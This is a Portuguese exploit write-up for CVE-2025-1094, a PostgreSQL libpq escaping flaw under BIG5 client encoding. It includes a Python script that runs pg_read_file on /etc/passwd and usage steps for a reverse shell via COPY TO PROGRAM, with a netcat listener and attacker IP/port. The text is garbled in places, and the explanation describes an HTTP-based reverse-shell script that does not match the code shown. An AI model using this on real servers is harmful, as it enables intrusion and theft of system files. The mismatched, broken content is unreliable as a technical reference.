
É uma falha de sanitização de entrada causada por uma incompatibilidade de codificação, permitindo que entradas elaboradas contornem filtros. Se um servidor for vulnerável, um atacante pode injetar SQL malicioso que o backend executa.
#Escrevi este exploit com referência ao PoC disponível em CVE-2025-1094
CVE‑2025‑1094 é uma vulnerabilidade de sanitização de entrada nas funções de escape do libpq do PostgreSQL e na ferramenta interativa psql. Ela decorre do tratamento inadequado de codificações multibyte quando a codificação do cliente está definida como BIG5. Sob certas condições, isso pode levar ao tratamento incorreto de caracteres de escape, permitindo que atacantes contornem os limites pretendidos das consultas.
Esta vulnerabilidade foi descoberta pela Rapid7 durante a análise da CVE‑2024‑12356, um problema separado em appliances da BeyondTrust. O comportamento do PostgreSQL foi explorado como parte de uma vulnerabilidade encadeada mais ampla para influenciar ainda mais o comportamento do backend.
Quando um servidor web ou aplicação passa entrada do usuário diretamente para consultas SQL executadas por meio do psql, e o está definido como , uma entrada especialmente elaborada pode encerrar uma instrução SQL prematuramente e anexar SQL malicioso.
client_encodingBIG5Isso permite operações adicionais, como a leitura de arquivos locais (ex.: /etc/passwd) por meio das funções lo_export, pg_read_file ou similares do PostgreSQL.
Esta não é, por padrão, uma vulnerabilidade de execução remota de código (RCE) no PostgreSQL. Em vez disso, é um uso indevido das APIs de cliente do PostgreSQL que, quando filtradas ou escapadas de forma inadequada, podem ser abusadas para vazar conteúdos de arquivos sensíveis ou potencialmente executar SQL perigoso.
COPY TO, pg_read_file ou lo_export quando combinados com injeção de SQL em aplicações cliente.BIG5 e a entrada não é devidamente sanitizada.client_encoding=BIG5.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ O Que Este Exploit.py Faz:
Define PGCLIENTENCODING=BIG5 no ambiente (condição de gatilho).
Cria um payload de injeção de SQL para sair de uma consulta e inserir um novo comando COPY TO PROGRAM.
Envia o payload por meio de uma requisição GET ao servidor web vulnerável (/search?q=...).
Se o backend usar psql e entrada não sanitizada, o COPY TO PROGRAM é executado e grava o resultado ou abre um shell.
⚠️ O reverse shell só terá sucesso se o servidor:
Executa SQL usando psql (não drivers de banco de dados parametrizados)
Permite COPY TO PROGRAM (exige superusuário)
Tem conectividade de saída com o atacante
#O script Python envia um payload especialmente elaborado para um servidor web vulnerável que passa a entrada diretamente a um processo psql do PostgreSQL com codificação BIG5: Passos para Usar:
Inicie um listener no terminal:
nc -lvnp 4444
Edite o script do exploit:
Defina TARGET_URL para o IP ou domínio do servidor alvo. Confirme se o ENDPOINT corresponde à rota (ex.: /search). Ajuste REVERSE_IP e REVERSE_PORT para corresponder à sua máquina de ataque.
Execute o script em um Terminal Diferente :
python3 exploit.py
Resultado: Se for bem-sucedido, você receberá uma conexão no seu listener. Caso contrário, tente ler arquivos (ex.: /etc/passwd) usando payloads de pg_read_file.
Para testar isto:
EUC_TW ou similar.psql ou SQL dinâmico sem escape.pg_read_file ou lo_export.client_encoding=BIG5 a menos que seja explicitamente necessário.